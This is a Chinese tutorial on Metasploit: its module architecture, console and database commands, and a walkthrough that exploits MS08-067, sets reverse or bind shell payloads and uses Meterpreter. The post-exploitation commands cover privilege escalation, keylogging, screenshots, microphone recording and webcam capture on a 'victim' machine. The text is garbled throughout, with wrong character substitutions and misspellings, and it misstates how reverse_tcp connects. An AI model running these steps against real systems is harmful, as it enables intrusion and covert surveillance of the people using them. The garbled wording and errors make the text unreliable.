1.Metasploit介绍与基本命令

Metasploit体系框架介绍

 

Metasploit是目前世界上领先的渗透测试工具，也是信息安全与渗透测试领域最大的开源项目之一。它完全改变了咱们执行安全测试的方式。

Metasploit之因此流行，是由于它能够执行普遍的安全测试任务，从而简化渗透测试的工做。Metasploit适用于全部流行的操做系统，但Kali Linux是最受欢迎的操做系统，第1、它预装了几乎全部实用渗透测试工具，下降了使用成本，其次它是基于Linux的操做系统，具备可靠的稳定性和安全性。

 

Metasploit渗透框架（Metasploit Framework）是一个免费的、开源的渗透测试框架，由H.D.Moore在2003年发布，后来被Rapid7收购。当前稳定版本是使用Ruby语言编写的。它拥有世界上最大的渗透测试攻击数据库，每一年超过100万次的下载。它也是迄今为止使用Ruby构建的最复杂的项目之一。

 

 

 

 

 

Metasploit设计是尽量采用模块化的理念；在基础库的基础上，提供了一些核心框架功能的支持；实现渗透测试的功能的主体代码则以模块化方式组织，并按照不一样用途分为6种类型模块；为了扩充metasploit框架对渗透测试全过程的支持功能特性，metasploit的渗透测试功能还引入了插件机制，支持将外部的安全工具集成到框架中；metasploit框架对集成模块与插件，经过用户接口与功能程序提供给渗透测试者进行使用。

 

 

 

 

 

 

 

 

1.  Libraries（基础库文件）

 

 metasploit基础库文件位于源码根目录路径下的libraries目录中，包括Rex，framework-core和framework-base三部分。

Rex库1）最基础的组件，如包装的网络套接字、网络应用协议客户端与服务端实现、日志子系统、渗透攻击支持例程、PostgreSQL以及MySQL数据库支持等；

framework-core库负责实现全部与各类类型的上层模块及插件的交互接口；

framework-base库扩展了framework-core，提供更加简单的包装例程，并为处理框架各个方面的功能提供了一些功能类，用于支持用户接口与功能程序调用框架自己功能及框架集成模块；

 

 2. modules（模块）

 

模块是经过Metasploit框架所装载、集成并对外提供的最核心的渗透测试功能实现代码。按照在渗透测试过程各个环节中所具备的不一样用途，分为

1）辅助模块（Anxiliary）：辅助模块为信息检索提供各类扫描程序。其中包括登陆扫描器、漏洞扫描器、网络嗅探和端口扫描器；

2）渗透攻击模块（Exploiits）：这个模块包含用于利用漏洞的程序和脚本，Metasploit有超过1700个漏洞利用程序。

3）后渗透攻击模块（Post）：用于支持在渗透攻击取得目标系统远程控制权后，在受控系统中进行各式各样的后渗透攻击动做，如获取敏感信息、实施跳板攻击等

4）攻击载荷模块（Payloads）：它主要用于创建攻击者和受害者机器直接的链接，Metasploit有超过500个有效攻击载荷。

5）空指令模块（Nops）：用来在攻击载荷中添加空指令区，以提升攻击可靠性的组件。

6）编码器模块（Encoders）：确保攻击载荷中不会出现渗透攻击过程当中应加以免出现的坏字符”。为了使有效载荷在IDS入侵检测/IPS入侵防护系统或反病毒程序下能不被发现，对攻击载荷进行“免杀”处理。

这些模块都拥有很是清晰的结构和一个预先定义好的接口，能够被装载到Metasploit框架中，并可组合支持信息搜集、渗透攻击与后渗透攻击拓展等渗透测试任务。

 

3. 插件（plugins）

 

Metasploit框架的插件是一类定义比较松散，可以扩充框架的功能，或者组装已有功能构成高级特性的组件。插件能够集成现有的一些外部安全工具，如Nessus、OpenVAS漏洞扫描器等，为用户接口提供一些新的功能命令、记录全部的网络记录或提供创新的渗透测试功能。

 

4. 接口（interfaces）

 

Metasploit框架提供了多种用户使用接口，包括msfconsole控制台终端、msfcli命令行、msfgui图形化界面、armitage图形化界面以及msfapi远程调用接口等。

 

 

5. 功能程序

 

Metasploit还提供了一系列可直接运行的功能程序，支持渗透测试者与安全研究人员快速地利用Metasploit框架内部能力完成一些特定任务。好比msfpayload、msfencode和msfvenom能够将攻击载荷封装为可执行文件、C语言、JavaScript语言等多种形式，并能够进行各类类型的编码。

 

 

Metasplot基本步骤及命令详解

 

1.Linux metasploit安装及使用

 

1.1 终端输入msfconsole，启动metasploit

 

MSF终端是Metasploit功能最强大、最丰富的用户接口。

show Auxiliary/Exploits/Payloads 列出metasploit框架中的全部辅助/渗透攻击模块/攻击载荷。

 

1.2 msf>help

 

核心命令

Cd                       更改当前的工做目录

Sessions            转储会话列表并显示有关会话的信息

Color                          切换颜色

Set                      将特定于上下文的变量设置为一个值

Connect            链接与主机通讯

Setg                   将全局变量设置为一个值

exit                    退出控制台

sleep                           在指定的秒数内不作任何事情

get                      获取特定于上下文的变量的值

spool                          将控制台输出写入文件以及屏幕

getg                   获取全局变量的值

threads             线程查看和操做后台线程

grep grep        另外一个命令的输出

unload              卸载框架插件

history             显示命令历史

unset                 取消设置一个或多个特定于上下文的变量

irb                       进入irb脚本模式

unsetg               取消设置一个或多个全局变量

load                   加载一个框架插件

version              显示框架和控制台库版本号

quit                            退出控制台

route                          经过会话路由流量

save                   保存活动的数据存储

 

1.3  数据库后端命令

 

db_connect                     链接到现有的数据库

db_disconnect                断开与当前数据库实例的链接

db_export                        导出包含数据库内容的文件

db_import                         导入扫描结果文件（文件类型将被自动检测）

db_nmap                           执行nmap并自动记录输出

db_rebuild_cache                   重建数据库存储的模块高速缓存

db_status                                    显示当前的数据库状态

hosts                                            列出数据库中的全部主机

loot                                      列出数据库中的全部战利品

notes                                   列出数据库中的全部笔记

services                              列出数据库中的全部服务

vulns                                  列出数据库中的全部漏洞

workspace                                  在数据库工做区之间切换

 

 

1.4  模块命令

 

Advanced                          显示一个或多个模块的高级选项

Back                           从当前上下文返回

Edit                             使用首选编辑器编辑当前模块

info                                    显示有关一个或多个模块的信息

loadpath                   路径从路径搜索并加载模块

options                      显示全局选项或一个或多个模块

popm                         将最新的模块从堆栈中弹出并使其处于活动状态

previous                            将以前加载的模块设置为当前模块

pushm                      将活动或模块列表推入模块堆栈

reload_all                           从全部定义的模块路径从新加载全部模块

search                       搜索模块名称和描述

show                                   显示给定类型的模块或全部模块

use                              按名称选择模块

 

 

1.5 工做命令

 

Handler                      做为做业启动负载处理程序

Jobs                            显示和管理做业

Kill                               杀死一个工做

Rename_job            重命名做业

 

 

1.6.查找metasploit框架中全部的渗透攻击和其余模块：

 

search[模块名]

search ms08-067

 

 

1.7.选择并加载模块：

 

use exploit/windows/smb/ms08_067_netapi

 info展现出制定渗透攻击或模块的相关信息。

 

 

1.8.设置攻击载荷：

 

set payload windows/meterpreter/bind_tcp

 

经常使用payload

Linux：

 

linux/x86/meterpreter/reverse_tcp

linux/x86/meterpreter/bind_tcp

linux/x86/shell_bind_tcp

 linux/x86/shell_reverse_tcp

linux/x64/shell_reverse_tcp

 linux/x64/shell_bind_tcp

 

 

Windows:

 

windows/meterpreter/reverse_tcp

windows/meterpreter/bind_tcp

windows/shell reverse_tcp

windows/shell_ bind_tcp

windows/x64/meterpreter/reverse_tcp

windows/x64/meterpreter/bind_tcp

windows/x64/shell reverse_tcp

windows/x64/shell_bind_tcp

 

 

 

注意：

含有x64只适用目标服务器为64位操做系统的，没有x64或者使用x86的只适用32位操做系统；含有meterpreter的模块会反弹meterpreter_shel，而普通的shell模块只会反弹普通的shell（反弹结果跟nc相似）；

reverse_tcp（反向链接）表示木马会主动链接目标服务器，bind_tcp（正向链接）表示木马会监听本地的端口，等待攻击者链接。这里所说的链接通常是指tcp的某个端口。所以在生成木马前，须要先判断当前环境，适合正向链接木马仍是反向链接的木马。

 

 

 

1.9.查看须要设置的配置参数：

 

show options

 

1.10  设置配置参数（ip或端口）：

 

set XXXX xxxxxx

 

1.11 开始攻击：

 

exploit或run；

 

等待目标上钩，得到shel以后，就能够经过命令获取目标机器的信息和控制其机器

 

sessions 列出全部可用的交互会话

 

Sessions  –l  1进入1号会话

 

打开meterpreter使用帮助：help

 

好比：getuid命令查看权限，验证内网渗透成功

 

 

1.12  核心命令

 

Background     -将当前会话移动到背景

Bgkill                     -杀死一个背景meterpreter 脚本

Bglist                     -提供全部正在运行的后台脚本的列表

Bgrun                   -做为一个后台线程运行脚本

Channel               -显示活动频道

Close                     -关闭通道

Exit                        -终止meterpreter会话

Help                      -帮助菜单

Info                       -查看详细信息

Irb                         -进入Ruby 脚本模式

Migrate                -移动到一个指定的PID的活动进程

Quit                       -终止meterpreter会话

Read                     -从通道读取数据

Run                       -执行之后它选定的meterpreter 脚本

Use                        -加载meterpreter的扩展

Write                    -将数据写入到一个通道

 

 

 

1.13 文件系统命令

 

Cat                        -读取并输出到标准输出文件的内容

Cd                          -更改目录对受害人

Del                         -删除文件对受害人

Download           -从受害者系统文件下载

Search                           -在目标主机文件系统上查找搜索文件例如：search-d c\\-f

*.doc                    在目标主机C盘下搜索doc文档

Edit                       -用vim编辑文件I

Getlwd                 -打印本地目录

Getwd                  -打印工做目录

Icd                         -更改本地目录

Lpwd                    -打印本地目录

lS                           -列出在当前目录中的文件列表

mkdir                    -在受害者系统上的建立目录

pwd                      -输出工做目录

rm                         -删除文件

rmdir                    -受害者系统上删除目录

Upload                 -从攻击者的系统往受害者系统上传文件

 

 

 

 

1.14  网络命令

 

Ipconfig                       -显示网络接口的关键信息，包括IP地址、等。

Portfwd                        -端口转发例如：portfwd add-11122-p3389-r 192.168.250.176把目标主机192.168.250.176的3389端口转发到1122端口

Route                            -查看或加入受害者路由表 route add 5.5.5.0255.255.255.01用sessions1会话加入指定网段

Arp                                 -显示主机ARP缓存

Getproxy                      -显示当前代理配置

Netstat                          -显示网络链接

 

 

1.15  提权命令

 

Getsystem                   -得到系统管理员权限

 

1.16  用户界面命令

 

Enumdesktops                    -列出全部可访问台式机

Getdesktop                                   -获取当前的meterpreter桌面

Idletime                                 -检查长时间以来，受害者系统空闲进程

keyscan_dump                   -键盘记录软件的内容转储

keyscan_start                      -启动时与如Word或浏览器的进程相关联的键盘记录软件

keyscan_stop                      -中止键盘记录软件

screenshot                            -抓去meterpreter 桌面的屏幕截图

record_mic                           -音频录制

webcam_chat                    -查看摄像头接口

webcam_list                         -查看摄像头列表

webcam_stream                          -摄像头视频获取

set_desktop                         -更改meterpreter 桌面

Uictl                                        -启用用户界面组件的一些控件